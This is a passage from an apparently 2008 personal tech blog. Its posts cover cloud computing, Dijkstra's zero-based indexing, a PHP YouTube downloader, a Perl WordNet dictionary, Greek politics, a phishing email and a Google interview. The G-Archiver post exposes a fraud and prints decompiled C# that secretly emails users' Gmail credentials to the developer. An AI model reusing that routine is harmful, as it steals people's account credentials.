On the other hand, Denmark seems to be the champion. Denmark places 1st in many crucial indicators like DSL coverage, e-Learning and e-Commerce. Skill level is considered among the highest in Europe and Denmark is considered as a leader in developing the European ICT society.
You can find more statistics about the European ICT status here.

This is not news for us, however. Our strategy is void because people in charge, are void. Having skilled employees while having a Prime Minister that has never been employed anywhere, would be a contradiction.

The good news is that, since we are at the bottom, there is only one way: Going up! :)

"Time Is What Prevents Everything From Happening At Once.." - John Wheeler (1911-2008)

2008-04-15T07:02:00.000-07:00

The quote continues: "Space is what prevents everything from happening to me!"
John Wheeler, has for a long time, been studying advanced concepts of theoretical physics, which for the most people are somewhat taken for granted, space,time, gravity and so on. He passed away in Sunday, 13th of April 2008, at the age of 97.

John Wheeler was one among the last of the 'big school' of theoretical physics. He has worked with legendary figures such as Niels Bohr, Oppenheimer and Albert Einstein(related photo) and he is the inventor of the popular term 'black hole', this strange 'creature' that is so big that even its own image cannot evade from its infinite gravity (visible light cannot reflect or be emitted) At some point in 1941 Wheeler joined the famous (or infamous) Manhattan project. Among his graduate students as a professor in Princeton, were Richard Feynman and Kip Thorne.

I suppose, everybody from a CS background has developed at some stage of his life a certain interest for astronomy and physics. I, my self, at a young age was a fan of such fields along with science fiction. I never actually understood what was going on with these strange quantum equations but I think I find my self equally astonished when confronted with concepts like 'black holes' or 'time bending'. Astonished at least.

You can find lots more information in the official press release from the Princeton University site.

The Dawn Of Cloud Computing

2008-04-13T16:16:00.000-07:00

In a fairly poor article in Wikipedia, 'cloud computing' is defined as the subset of grid computing that includes a number of approaches to the use of shared computer resources. Anyway, there is plenty more information in the terms used: cloud and computing, which it is immediately understood that the computing part is done somewhere else than locally, ergo 'in the cloud'.

There was too much fuss over Google's new web application framework, Google App Engine, but the story begins long before Google decided to offer its services to some extent for free to developers. Historically begins from Unix's RPC utility, then moves on to Web Services technology until Amazon built a massive infrastructure to provide with some practical value to concepts that otherwise might be only at the theory level. While it might be controversial, in my opinion this was the first 'computing cloud' ever appeared in the web.

In some of my previous posts, although not initially planned, I actually gave some examples on what cloud computing might be. At least from my own perspective. For example, I had given some source code for building a text-to-speech application on .NET of a relatively superior quality. Do I know anything about speech technology? No and perhaps I never will, but I know a bit of developing and I could use a very powerful TTS service from AT&T. In a more recent example, I released source code for building a dictionary in Perl based on Princeton's WordNet. Both in these examples, I shifted the hard computing part to some place in the Web and despite this looks like more than a 'software as a service' approach, in a more large scale, it actually becomes cloud computing.

However, Amazon's Web Services is a true cloud computing platform. It currently hosts a number of very large-scale services and it keeps growing. For example, there is one that allows merchants to store products in Amazon's inventories and have Amazon take care of orders, packaging, delivery and so on. My 'favorite' though is Amazon Mechanical Turk, I guess mainly for the excellent name they came up with. The "Mechanical Turk" (photo) was a machine in the 18th century that supposedly could play chess. However, the 'machine' had a person inside that could manipulate it and make it appear as if the machine plays by itself! In the same way, Amazon's Mechanical Turk, distributes a computing task that requires AI to a huge pool of humans that carry it out. TagCow web site is the perfect example for that. TagCow tags images based on human classification. Anyone can participate and can make some 5-6$ a hour by tagging images and uploading his work to TagCow!

On the other hand Google has come late and a little messy. The Google App Engine (logo in photo) lets you build web applications and host them in the Google cloud. It is like having a huge cgi-bin at your disposal for you to build web applications and you only have to write the scripts. This is not bad for a 'Building Web Applications for Dummies' book but it is not for serious stuff.

First of all I don't like Python. Its creator works for Google and it is reasonable to be heavily sponsored, but still to my small eyes it is Yet Another Copy of Perl, basically taking advantage of Perl's inadequate support for OOP and as such I will never bother (again) learning it. Anyway, the most important part is Google's obsession with anything anti-Microsoft. This just ends up being ridiculous. I really couldn't watch more than 2 minutes the Google App Engine introductory video. Just for the semiology: He uses a Mac. He opens a plain text editor. He handwrites a number of commands, conventions and API definitions just to make a Hello-World web application to finally take pride in running a local server that displays the famous developer's message. Ok guys we get it: Microsoft sucks! So we should forget about IDE's, syntax highlighting, debug tools and Intellisense? Otherwise, show some respect to people's time because developing on text editor is great as long as it is people's choice. And one more: WYSIWYG is great as long as it is Perl!

On the other hand, Microsoft's counterpart although not so popular has been around for some years now. Microsoft's Popfly (with the silly duck-logo) enables developers to build much more complicated web apps in much less time. There are also rumors about Microsoft getting into cloud computing under the funny 'Red Dog' but I do not know much more details.

Anyway, this is only the beginning. I believe we will soon become witnesses of cloud computing to much more greater extent. The scalability that this offers gives great potentials to developers and it is really interesting to see what will be the next step to this process. Exciting developer times!

Why The Array Index Should Start From 0

2008-04-06T00:43:00.000-07:00

I recently came across an article from Dijkstra(photo) explaining a fact that looked obvious to me before: Why should start indexing an array from 0. I was amused to find out that there is some clever thinking behind this.

All popular languages, like C/C++, Java or Perl start indexing an array from 0 while the last index is the array length minus 1. While this is usual to most developers, it is not a de facto situation for all programming languages. For example in Fortran, when you declare an array with 'integer a(10)', aka an int array having 10 elements, the index starts from 1 and ends at 10 (however you can override this behavior using a statement like, integer a(0:9), declaring an array with indices from 0 to 9, but anyway).

The discussion over why the array index should start at zero is not a trivial one and relates to interesting concepts from computer science. First of all, it has strong relation to language design. For example in C, the name of an array is essentially a pointer, a reference to a memory location, and so the expression array[n] refers to a memory location n-elements away from the starting element. This means that the index is used as an offset. The first element of the array is exactly contained in the memory location that array refers (0 elements away), so it should be denoted as array[0]. Most programming languages have been designed this way, so indexing from 0 is pretty much inherent to the language.

However, Dijkstra explains why we should index from 0. This is a problem on how to denote a subsequence of natural numbers, say for example 1,2,3,...,10. We have four solutions available:
a. 0<i<11
b. 1<=i<11
c. 0<i<=10
d. 1<=i<=10

Dijkstra argues that the proper notation should be able to denote naturally the two following cases:
1. The subsequence includes the smallest natural number, 0
2. The subsequence is empty

Requirement 1. leaves out a. and c. since they would have the form -1<i which uses a number not lying in the natural number set (Dijkstra says this is ugly). So we are left with b. and d. Now requirement 2. leaves out d. since for a set including 0 that is shrunk to the empty one, d. takes the form 0<=i<=-1, which is a little...well, messed up! Subtracting the ranges in b. we also get the sequence length, which is another plus. Hence we are left with b. which is by far the most widely used notation in programming now.

Now you know. So, remember and take pride in the fact that each time you write something like

for(i=0;i<N;i++)
{
sum+= a[i];
}
you are not just following the rules of language notation. You are also promoting mathematical beauty!

Popular Demand: The Youtube Download PHP Scripts

2008-04-04T18:06:00.000-07:00

I had posted an article explaining how to download YouTube videos by knowing its URL. This technique can be implemented in any language, however I chose to make it in PHP.
This enables you to have it on your own sites.

The regular readers of DOL might have noticed a little iFrame, at the bottom right of the blog, that hosted the PHP scripts in my home machine. However, sometimes I have to go to sleep and sometimes I tend to shut the PC down. Also, my connection is a miserable 2M ADSL line so my home network usually was crumbed by heavy traffic. As a result the YouTube download tool was not always working and this was frustrating to many people. I agree and I apologize.
So, under popular demand here are is the source code. Enjoy!

iFrame HTML code (trivial):

<html>
<head>
<form action="dnlUTube.php" method="post">
<p><b>YouTube URL:</b> <input size= 28 type="text" name="name" /></p>
<p><input type="submit" value="Get it!" /></p>
</form>
<i>Example: http://www.youtube.com/watch?v=319hsZ12TAE</i>
</head>
<body>

</body>
</html>

Now this refers to the PHP file dnlUTube.php, that actually retrieves the download URL of the video. The source code is:

dnlUTube.php : extracts YouTube download link

<html>
<?php
#
# Script to download YouTube videos
# Originally crafted by panefsky on Developer On Line- Salonica,Greece 2008
# Use free. Credits welcome.#
# Input: Post parameter 'name' is the YouTube URL
# Known issues: sometimes the parsing fails either because
#YouTube does not send the proper format or
#whatever.. However 2nd invocation of script always succeeds! You might contribute at that.
#
# Enjoy!
if(!empty($_POST['name'])) {

$location = htmlspecialchars($_POST['name']);
try {
$handle = fopen($location, "r");
if($handle) {
$contents = '';
while (!feof($handle)) {
$contents .= fread($handle, 8192);
}
fclose($handle);
$result1 = preg_match("/&t=([\w]*)&/",$contents,$tickets);
$result2 = preg_match("/v=(\w*)/",$location,$video_id);

if($result1) {
echo "<a href = \"http://www.youtube.com/get_video?video_id=";
echo $video_id[1];
echo "&t=";
echo $tickets[1];
echo "\">Download link.</a>";
echo "<br>";
echo "Click n Save with flv extension";
}
else echo "Damn! Click Back and try again..Sorry :(";
}
else echo "\nYou liked that? Ha?";
}
catch(Exception $e) {echo "I made an error. So what?";}
}

else echo "Empty input! Bad boy...!";
?>
<br><br>
<a href="dolUTubeFrame.html">Back</a>
</hmtl>

That's it! Happy downloading!

Perl by Example: English Dictionary In 22 Lines

2008-04-03T17:10:00.000-07:00

[Update #1] This post has been cited from Princeton's WordNet Project as a nice Perl extension. You can find lots of more of information about WordNet here.

[Update #2] Many thanks to my brother Costas, for buying me the ultimate Perl book: "Programming Perl, 3rd edition" by Larry Wall. Thanx bro! :)

WordNet is an online English dictionary from the Princeton University. It has some hundreds of thousands of words and it keeps growing. You have absolute access to the resource and there are interfaces in practically all programming languages. It is not tough to build one from your own, but I ceize the opportunity to make an introduction to a really special programming language: Perl. Of course a crappy blog post cannot introduce a such extensive language as Perl, but additional Perl articles are sure to follow!

For the history, Perl was designed as a so-called 'glue' language for Unix, simply for doing things that with other tools were somewhat difficult. Created in the mid-80's by Larry W all, in a one-man project as a fast reporting tool, it is now spread to all machines and applications. I have never used Perl for large GUI-demanding projects, but it has been a killer for simple but heavy tasks.

Whatever the objections, you may find Perl great for one simple but rare thing: Perl has culture. Its creator and all people actively involved in Perl's development share a number of values: Freedom, innovation and a unique sense of humor. To explain, I have two Perl books in my library: "Learning Perl" and "Programming Perl", affectionately called by the Perl community as the "Alpaca Book" and the "Camel Book" for the animals on the cover (Camel is the Perl mascot as shown in the figure). For me they are the most easy-read programming books that I have read. Anything else I use as a reference because I find programming books too hard to follow for long. But these differ. The style of writing and the humor that they transmit make you read them in literally one breath.

Anyway, the best way to introduce a language is by example, so here is mine for Perl: To build an English dictionary based on Princeton's WordNet. Believe it or not, all in all it takes 22 lines to do it! You may see the interface with the program in the following video. When you are done you might want to check the source code with some comments for better understanding.

The Perl source code follows:

my $word; #declares a scalar variable.Perl has two basic types: scalars and plurals(lists,hashes)
our $message = "\nPlease enter a word to look for:\n>";
print $message; #prints our message
while($word = <>) #reads the word the user searches for
{
chomp($word); #remove last character (the '\n', new line)
if($word eq "<") { system("cls"); #if user types "<" clear screen
print $message; }
else {
print "Connecting..";
my $url = "http://wordnet.princeton.edu/perl/webwn"."?"."s=".$word; #WordNet URL
`wget -q -Oindex.html $url`; #download the results
open FILE,"<","index.html"; #open the result web page locally
print "\rOk.Results:";
while(<FILE>) #for every line in file
{
if(/<\s*b>$word<\/b>[^$]+\(([^$]*)\)/) #match a pattern, don't be scared!
{ print "\n#def#$1"; } #..and print the word definition !
}
close FILE; #close file
print "\n>";
}
}

What might scare you off is the pattern matching line, especially if you have never come across regular expressions before. The logic is this: In WordNet result page, each word definition comes with original word in bold and the explanation in parentheses. For example if we search for 'developer' it may have the following format:
...developer...(a man who develops)...
...developer...(sometimes referring people creating software)...and so on
What the pattern matching does it to match if the line has the word we search for in bold and then extracts the sentence in parentheses.
When it comes to pattern matching, Perl is the king.

That's all. If you already have a Perl distribution, you can test it yourself. If you don't and you would like to give it try, for Windows there mainly two distributions. The one is from ActiveState and you can download a Windows Perl distribution named ActivePerl here (just click the download button). The other is called Strawberry Perl, it recently came out of beta and you can find it here. I haven't tried but it may well be good.

Needless to say, Perl is free and always will be! So ride the camel and enjoy!

Greece on Macedonia Dispute: "Quid pro Quo"

2008-04-01T11:51:00.000-07:00

In the article, some weeks ago, "Macedonia: It's All In The Name", discussing why this issue is so vitally important to my country, Greece, Ι tried to briefly summarize the history of the naming dispute.

Today, the Minister of Foreign Affairs of Greece, Dora Bakoyannis, wrote an article for "The Independent", summarizing the Greek opinions over the Macedonia naming dispute, and practically arriving to some form of ultimatum: "We need to see something from FYROM or else no Greek government and no Greek parliament, will endorse our neighbors entering NATO or the EU." So, now Greece waits for the another proposal from the 'magician' Mr. Matthew Nimetz (photo,Nimic or Nimitz or whatever) or officially shuts down the doors.

Here are some key points of Bakoyannis's article. First there is the birth of the problem, beginning in 1944 when Tito renamed the area of Skopje, from Vardana Binovina to Republic of Macedonia. The plan was to slowly move to the Aegean Sea but now that United Yugoslavia is over, Skopje has failed to get rid of being part of this plan (or forgot?).

The article continues with depicting the heart of the problem and to paraphrase: "If you, FYROM, would like to have the term "Macedonia", you can do it. But you will do it because you like the name and not because you have any kind of relation with ancient or modern Macedonia. So, drop anything that distorts historical facts from textbooks, maps, articles and even from your constitution." That's all we care about. Allegations about "Macedonian minorities" (?) or "Aegean Macedonia" are absurd so forget them and also "United Macedonia" and any other such master plans. Greece does not deny that a small part of the Ancient Macedonian empire was lying in the Skopje territory. So keep a geographic qualification, like "New", "Upper", "North", "Whatever" and forget plain "Macedonia".

Bakoyannis goes on to explain the bonds of collaboration that Greece has already been creating. Greece is the prime investor in FYROM (almost a billion of dollars) and that shows our willingness to work peacefully and creatively with this new country. After some outlines over FYROM's unwillingness to move towards a solution, Bakoyannis closes with the phrase: "We cannot go any farther. As long as the problem persists we cannot and will not endorse FYROM joining NATO or the European Union. No Greek government will ever agree to it. No Greek parliament will ever approve it."

Well said.

That's all. We are all fed up with this story. Spending millions to buy an article in the "Independent", trying to support a crystal-clear thesis, is not fun. Greek politics has been extremely unsuccessful on this subject and our governments have made so many blunders so far, that we have managed to be considered the main problem of the dispute (well actually the present government has done nothing, so not blunders either..) Anyhow, we are all united now (unlike FYROM which is on a critical edge as far as 'density' is concerned). "No solution, no invitation" is the government's motto and we all sign for this. FYROM should take responsibilities. Negative results would mean isolation for both parts and that could 'kill us all'.

So, tomorrow it is the critical meeting in Bucharest and we are not delusional. Greece is playing against United States, not FYROM. And it is pretty risky to go against the US but we are more than willing to do so in that case. So our finger is on the 'Veto' button and more importantly, we are ready for the sanctions of pushing it.

Hey, Are You Phishing To Me?

2008-03-24T15:16:00.001-07:00

Today, I received a weird mail (picture on the right). It was from the National Bank of Greece (mail address homebank [at] nbg.gr) which informed of my card being suspended because I was using it from 2 different accounts. It then provided a link to follow in order to settle this problem. After leaving the mouse on top the link the fraud was revealed: The mail was fake and the link was pointing to an illegitimate site. This was the first phishing attack in which I was the target. The site to which I was directed to 'settle my account' was matilda-disco.com.ar.

After checking that it was just plain html, I followed the link and much to my surprise it was identical to the NBG's e-banking site, in which you are prompted to enter your account private information! If you do, boom, you are officially a victim of another phishing attack. On the right is the snapshot of this fake-NBG site. The layout is almost identical but the scam was not perfect. You could still view on the URL bar that the domain far from being the nbg.gr. I later found out that more sophisticated attacks use JavaScript to put an image over the address bar to just show the original's site URL.

I soon contacted the e-banking support of the National Bank of Greece but this was disappointing. Although they were not automatic responses, the bank clerk kept sending me the privacy policy, the terms of conditions, tips on how to protect myself and all this kind of nonsense. I soon gave up because it was pretty obvious that the personnel appointed to the post was untrained for anything better than sending mail prototypes.

The fake site was redirecting to nesintl.org/image/jpg/homebank.nbg.gr/gr.php and
after a quick WHOIS and on-site browsing I soon realized that they were multiple sites hosted under this location. Of course there was no contact available (only a weird hotmail account) so I decided to contact the web hosting company of the fraud site, BerryHost.com

I wrote an e-mail explaining the fraud and I got the ticket of my request along with a page to view information over its status. While it is still pending as a request, less than an hour later, the fraud site had dissapeared. When trying to connect to the fake bank site I was getting a 404 Not Found error and I still do. I want to believe that the hosting company took the appropriate actions and banned the fake site, but did not inform my request status.

Anyway, the good news is that the scam is out of service. These kinds of attacks are called phishing attacks. Wikipedia states that the term comes possibly from the term fishing and phreaking (popular hacking term) and refers to the methodology used to deceive users into disclosing private information (credit cards, passwords etc) by masquerading as a trustworthy entity. The evil community is very active, so let's be prepared.

Google's Announcement

2008-03-21T03:18:00.000-07:00

Here you can find Google's announcement Official Google Blog: The end of the FCC 700 MHz auction

Go to original post.

FCC 700 Mhz Auction: 20 Billion Dollar Baby

2008-03-21T03:16:00.001-07:00

The news: Verizon wins almost everything, Google does not win anything.
But, let's deal with the nonsense first: "Google is the winner...", "Google was bluffing..." etc. You may find plenty of such claims in the web, but if these were functions they would return false. The reason? At least in poker, you bluff to win, or for others to lose big. None of that happened. If Google wanted to be a provider, she lost. If Google wanted just to ensure openness, she won, but in that case she had won several months ago in a controversial FCC decision.

I had written a post about the FCC auction 73 here, with the main points being that Google's decision to participate was big news for the mobile industry and that it was somewhat unclear as to whether the company wanted to slowly create and maintain the new wireless network or just ensure open access. But let's take things from the beginning.

First, there is the decision that analog TV moves to digital in the US, in one year from now. This releases some frequency bands, namely around the 700MHz that now is occupied by a number of analog TV channels. Shifting to digital, these bands will be vacant. Hence, they were auctioned off. Due to its physical properties, this band is ideal for communication networks and attracts the interest of the wireless industry, but also quite to a bit of a surprise, the interest of Google. It was soon realized that there were actually three players in the auction: Verizon, AT&T and Google.

Almost half a year before the auction begins, Google announces that it would bid the minimum 4.6 billion $ if the FCC would require from the winners to support 4 types of open platforms. Quoting a part of the company's press release:

Open applications: Consumers should be able to download and utilize any software applications, content, or services they desire;
Open devices: Consumers should be able to utilize a handheld communications device with whatever wireless network they prefer;
Open services: Third parties (resellers) should be able to acquire wireless services from a 700 MHz licensee on a wholesale basis, based on reasonably nondiscriminatory commercial terms; and
Open networks: Third parties (like internet service providers) should be able to interconnect at any technically feasible point in a 700 MHz licensee's wireless network.

Now, I don't have the industry knowledge to fully decode Google's strategy, so let's trust logic on that. If Google wanted to support and realize the idea of open networks and devices, why doesn't she participate in an auction with no strings attached? If you believe in your idea, go and get it. On the other hand, if Google does not want the burden of having to maintain such an infrastructure, what is afraid of and requires open platforms? After all, Google is still doing pretty well in traditional GSM, 3G or GPRS networks. Afraid of Verizon teaming up with Google's competitors (e.g. Microsoft) in building new generation mobile services or afraid of her Android-based open mobile platform initiatives, ending prematurely? Both might be correct.

Almost a month later, the FCC makes a balanced decision: A portion of the band that is auctioned off will be open to any mobile device (Verizon-certified of course) interpreting only as a partial result for Google but basically leaving all players unsatisfied. Both parties have good arguments: Google talks about different business models, open networks, platforms and other e-socialist ideas. Carriers talk about paying "a fair market value in an honest auction". After all Google has much more budget than Verizon, so if she wishes to bring new models to the business she should pay the price, rather than pressing for open requirements. AT&T's response is breath-taking: "We would repeat that Google should put up or shut up— they can bid and enter the wireless market with any business model they prefer, then let consumers decide which model they like best." While many considered Google's battle as a crusade against evil wireless carriers, it would not be unreasonable to claim that the company acted more or less as a cheapskate, trying to buy openness at zero price (given that Google was never interested in really buying the bands).

Finally Verizon together with Vodafone, was the big winner of the auction, totally owning the C-block of the 700 Mhz band and Google did not get anything. "We are very pleased with our auction results. Specifically, we were successful in achieving the spectrum depth we need to continue to grow our business and... help us satisfy the next wave of services and consumer electronics devices.", was the announcement from Verizon. It might be said that Google was the actual winner, having assured that the new network will be open. While there might be reasons for that, there is one obvious flaw: This would mean that Google was a winner from the beginning. Why Verizon would enter in a battle already lost or is it a win-win situation? My feeling is different after reading the first reaction from the Google part. While the company declares the auction as a win for American consumers, there is an over-stressing that the network is open for anybody. I cannot be easily convinced that someone paid some billions of dollars to buy an open network and I therefore can understand why Google seems a little anxious over that part of the deal: Could Verizon find holes in the FCC rules?

Anyway, there is still these anti-collusion rules, so there is no in-depth information from the auction players yet. Thoughts of Google building a new and open mobile network, thus bringing a new era of mobile communications, were proven wrong. Verizon owns a new band to play with.

Meanwhile, here in Europe, we are still stuck paying 5-10 euros for every 'mobile' Mb we download, while the European Commission is still messing with the way business is done (with the most recent and infamous example of choosing Nokia's protocol for mobile TV. While not final, this decision demonstrates how much politics in Europe, interfere with the industry)

Arthur C. Clarke: 90 Orbits Around The Sun (1917-2008)

2008-03-18T23:29:00.000-07:00

Well, I guess this is something that we should get used to: Living in a world without our heroes. This year, Robert James Fischer, a hero of childhood died, and now it is Arthur Clarke, who died today(19 March 1:30am Sri Lanka local time) at the Apollo Hospital in Colombo, Sri Lanka.

Sir Arthur Clarke was a writer (among other things), whose work we have hard time classifying. Was he a fiction writer? He could be, because he wrote about computers with human intelligence, extra-terrestrial worlds, different living species and so on. Was he writer and a technology popularizer? He could be since he write about computers, space expeditions, wireless communications and being a step ahead from his time, predicted the man on the moon by 1970, the invention of satellites and so many other. His "Space Odyssey", 'featuring' the HAL supercomputer (actually a wordplay of IBM, if you shift by one the letters), was directed by Stanley Kubrick and is one of the kind in science fiction films.

However, my favorite was by far "The Sentinel", a short passage that I read years ago. It is a about an artifact that astronauts discover in Moon and bring to Earth, but the humans cannot decode what it is, only that it constantly transmits a "beep" over the universe. They want to analyze the artifact but it resists until nuclear power is used to crack it open. "Now its signals have ceased, and those whose duty it is will be turning their minds upon Earth. Perhaps they wish to help our infant civilization. But they must be very, very old, and the old are often insanely jealous of the young...Now we should wait them to come..." The artifact was put there by an extra terrestrial civilization to warn them for the development of intelligence in this little promising planet, called Earth! If someone could make it stop, he must be intelligent enough to manage powers such as the nuclear. Brilliant and thrilling!

It is weird enough that Clarke was born nearly at the time Jules Verne, another writer of his kind, who envisioned space and underwater travels with spaceships and submarines, passed away. He lived for the last 50 years of his life in Sri Lanka and since 1989 needed to use wheel chair since he was diagnosed with post-polio syndrome.

Recently, approaching the age of 90, or as he humorously says "completing the 90th orbit around the sun", Clarke created a moving goodbye video for all of his fans. You can find it also in Youtube here. He prefers to be remembered as a writer and his last words on the video are from Rudyard Kipling's, "The Books I Leave Behind",

If I have given you delight
By aught that I have done,
Let me lie quiet in that night
Which shall be yours anon:
And for that little, little span
The dead are borne in mind
Seek not to question other than
The books I leave behind.

Who Else Is Going To The Pi Party?

2008-03-14T04:02:00.000-07:00

Today we celebrate π or the Pi mathematical symbol !
In case you hadn't noticed it (like me until now) ,there has been a funny tradition since late 80's to celebrate π at the 14th of March. The reason? The number begins with π = 3.14, hence March,14. It is weird though I didn't see any of the doodles that Google usually puts on its homepage on such dates. If we can't honor pi we could do that for Albert Einstein, whose birthday is also today (March 14th).

Anyway. for a little 'history', π is an irrational number, i.e. its decimal (or any other) expansion is infinite and also non-periodical. As a number it is as old as the human civilization and as the ratio of the circle circumference to its diameter, it was first calculated (not precisely) even 2000 years BC. However it also participates in a lot of madness!

To explain there is for example a Guinness record for a Chinese who managed to spell out some dozens of thousands of pi digits! And without error of course! There are also poems that help you remember the pi digits. For example

One
A Poem
A Raven

Midnights so dreary, tired and weary,
Silently pondering volumes extolling all by-now obsolete lore.
During my rather long nap - the weirdest tap!
An ominous vibrating sound disturbing my chamber's antedoor.
"This", I whispered quietly, "I ignore".
...

If you map each word to the number of its letters you will get:
One->3, A->1, Poem->4, A->1, Raven->5, Midnights->9, so->2, dreary->6 etc
that yields π = 3.1415926... and so on
This poem is called Cadaeic Cadenza and it can compute the first 3834 digits! The name also comes from a game with pi digits: If we map every letter to its position in the alphabet for Cadaeic we will get 3-1-4-1-5-9-3 which represents an approximation of pi (3.141593) There are also songs(or rythms) that map the digits to notes (or time intervals) that can be of assistance also.Total madness!

There is also a 'visual representation' of the Pi madness, in the Pi movie (1998), where as far as I can remember there is a brilliant mathematician that tries to predict patterns in real life(for example in stock markets) using the pi digits. His anxious endeavor ends when he finally...puts a drill into his brain! It is a nice movie for math geeks and is directed from Darren Aronofsky(Requiem For A Dream).

Finally, a nice question for technical job interviews:

"What present would you make for Pi, if it was throwing a party?"

We will discuss possible answers tonight at the party. Be there!

A Gmail Passwords Theft Story

2008-03-08T20:12:00.000-08:00

No talk about technologies. Not this time. Now, a little course on programming ethics using a real life experience.

I was roaming the web, together with Mrs. Insomnia, early in the morning when I read a story of programming horror. It was talking about a malicious software application that stole Gmail accounts. You can found it in this Coding Horror blog post. Having nothing better to do I decided to verify the story and see for myself what was going on.

To begin with, there was this guy with the codename "John Terry" (John Terry is actually a football player, Chelsea's skipper and Chelsea is not only Hillary Clinton's daughter but also a football club in England), who developed an application called G-Archiver. This application can be found on popular software hosting sites like brothersoft.com. Anyway, what this terrific application does, is to back up your Gmail account to a local drive. Of course at some time you have to enter your Gmail account details, aka the username and the password. Well, the troubles begin here, because it seems that the developer has hardcoded into the application, a routine that sends the Gmail account details of the users to his own! So, every time a user enters his information, an e-mail is sent to the wise-guy, of course with a copy of the account information. If he is not a malicious password thief, this guy must be a mail spam mazochist.

Fortunately, a programmer who used the software, reverse-engineered G-Archiver (written in .NET). I can imagine his surprise when he found out what was going on. The Gmail account details of the malicious developer were there and he used them to login into his account. The picture shows exactly this. There were about 2000 e-mails waiting for him, that were all stolen Gmail usernames and passwords from other users. Now there is a name Pawel Lesnikowski at the developer's contacts. If you Google search for the name, you will jump onto a site with .NET libraries and applications. Remember the name for later (see Update #2 at end of post)

Now we should make our own investigation and take it a little further. For the fun and to verify the story, I downloaded and installed G-Archiver. The application uses two libraries: Mail.dll and SM.dll both written for .NET. I opened them with Reflector and first checked out the Mail.dll library, which is a mail lib from lesnikowski.com. From a quick search I couldn't find anything suspicious in this assembly and seems like a helper library. Maybe our guy just used this library for his purpose. And maybe our wise-guy sent a mail to Lesnikowski and that's why he appeared in his contacts. (see Update #2)

Now to the creepy clue when I slice-opened the SM.dll assembly there was in front of me a function called CheckConnection(). What is its cause? For sure it does not check for the user connection. You probably have guessed right! It sends the users' account details of course! On the right it is the function disassembled by Reflector. Just a parenthesis: These guys were so amateurs that didn't even use an obfuscator to cover up their trails. Anyway, if you cannot view it well here is the code:

MailMessage message = new MailMessage();
message.To.Add("JTerry79@gmail.com");
message.From = new MailAddress("JTerry79@gmail.com", "JTerry", Encoding.UTF8);
message.Subject = "Account";
message.SubjectEncoding = Encoding.UTF8;
//Message body contains username and password....
message.Body = "Username: " + a;
message.Body = message.Body + "\r\nPassword: " + b;
message.BodyEncoding = Encoding.UTF8;
message.IsBodyHtml = false;
message.Priority = MailPriority.High;
SmtpClient client = new SmtpClient();
//Enter the wise-guys account details...
client.Credentials = new NetworkCredential("JTerry79@gmail.com", "*******");
client.Port = 0x24b;
client.Host = "smtp.gmail.com";
client.EnableSsl = true;
//...and send the mail
client.Send(message);

And the user's Gmail credentials are stolen with high priority! As you can see, I have hidden the guy's gmail account password, not to protect him, but to protect his users, the ones that trusted his application. After all, there are thousands of Gmail accounts inside and most of them might be still active. Now there is a company associated with the software called MateMedia Inc. And also the sad story is that if you Google search for "gmail backup" the software site (garchiver.com) appears in the second page of the results! Too bad..

As the Coding Horror's writer correctly points out, these kinds of incidents hurt the trust of people with professional application developers. However, developers also discovered and exposed this fraud. It is a race in which all developers participate. Ad infinitum or while(true)..

Update #1: As I heard the company posted on their site that this piece of code was for testing and it was not removed, as it had to, for release. :) Yeah, right..

Update #2: As I wrote in the initial post, there was nothing suspicious in the Lesnikowski mail library and that the G-Arhiver developer possibly used it and at some point wrote an e-mail to him. It turns out that this actually happened, after I received an e-mail from Pawel Lesnikowski stating in addition that they abused his work without acquiring a license and that they contacted him having questions about his Mail.dll library. I therefore feel obliged to make some minor changes to the original post. His work can be found at lesnikowski.com site.

Google Interviews Part V - Just Two More Questions

2008-03-02T11:34:00.000-08:00

This is the last part of posts describing my own experience interviewing with Google. You may find the first interview here and then follow the traces until this last one.

Time had already passed (almost a month) after three successive interviews with Google and this last one was most probably the critical one. I did not prepare for this as much as the previous. The whole thing tires you up and at some point it seems better to relax and concentrate on the psychology rather than the technical stuff.

I was only asked two technical questions, and since my language of choice was Java the interviewer wanted to see some Java code for the answers. In summary, this interview was perfect. While in all previous interviews, mostly the first and the second, I had some important flaws in my performance, but this one was different. And all this because I was playing in my field.

Google at some point asks for a CV. However, the way I see it, Google and other major software companies search always for something unconventional in the candidate's application. You could say of course you know 5 or 10 programming languages, or that you can build an internet spider in 1 minute, however there might be some knowledge you have, that is somewhat rare and hence you should mention. In my case, this is Number Theory.

For me, number theory is a passion that has not passed over time. It was love in the first sight, when I became aware of it, maybe at the age of 15 or so, and from that time it was the field mathematics that I was really feeling comfortable with. Anyway, it is not hard to see why it has been named as the "Queen Of Mathematics". First, it is very easy to grasp the basics (primes, divisors etc) since they are inherently tractable by the human brain. After all, every human being starts my learning how to count, which is the first step of the true intelligence, aka understanding that 5 ice creams and 5 cars, share something in common: that they are 5. This helps solving silly cases like, if I ate 5 ice creams and then I ate 1 more, how many did I eat? There is no need to think of ice creams, nor the eating process. All you have to do is to construct the proper model for this situation: use natural numbers and solve 5+1.

Another great thing with number theory, is that your 'lab' can be a blank piece of paper. You can argue that 15 is divisible by 3, but all you need is a paper to perform the division. While a physicist might say that in light speeds some hypo-atomic elements, called mambojambions, are created, he still needs a gigantic, CERN-like laboratory to test his theories.

Anyway, I myself was raised in a Pythagorean culture(numbers are holy) and so I claimed in my CV to know some number theory stuff. Although I was a little worried if I would be able to defend such claims (after I would be talking to Google), it soon proved to be a wise decision. Both in phone and on site interviews with Google, there was no better time for me than doing number theory. And to much of my surprise, and despite that Google's name is inspired by a natural number (or a unit of measure if you wish), all the 'Googlers' that I spoke and met with, did lack elementary knowledge on the field. This time, (I assume) the interviewer had dug in my profile and wanted to see for himself. Every question and conversation was related to Number Theory.

So, the first question was about sets: "Create a function, called powerSet(), that will output the power set of the input set." The power set in Algebra theory is the set of all subsets of a set (no..bull-set!) If a set has N elements then the power set will have 2^N elements. So if a set is denoted by {a,b} with a,b as elements then the power set is { {},{a},{b},{a,b} }.
The {} is the empty set. Note that all elements of the power set are sets. Recursion can help for solving this problem. If for example the powerSet function can produce power sets for sets that have at most N elements how should we solve for the N+1 case?

If we denote sets with capital letters and the initial set as A, we can use the following algorithm
1. define B set initially empty
2. a = extract one element from A
3. add powerSet(A) to B
4. for every set in B, say X, add a, and then add it to B
5. return B

Making the proper checks, this yields a function that can produce the power set of a set. For the Java case you can use the java.util.Set interface to write the code. I was asked to write the Java code but not asked any further questions, like complexity, runtime and so on. So we moved to the next and final question.

This was: "Create a function, called findZeros(), that will compute the number of zeros in the decimal representation of n!". Now this is interesting and despite seemingly easy it has subtle points. For example, 5! = 1.2.3.4.5= 120 has one zero and 10! = 1.2.3.4.5.6.7.8.9.10 = 3628800 and has two zeros. Now the obvious answer is to produce this C-style pseudo code:

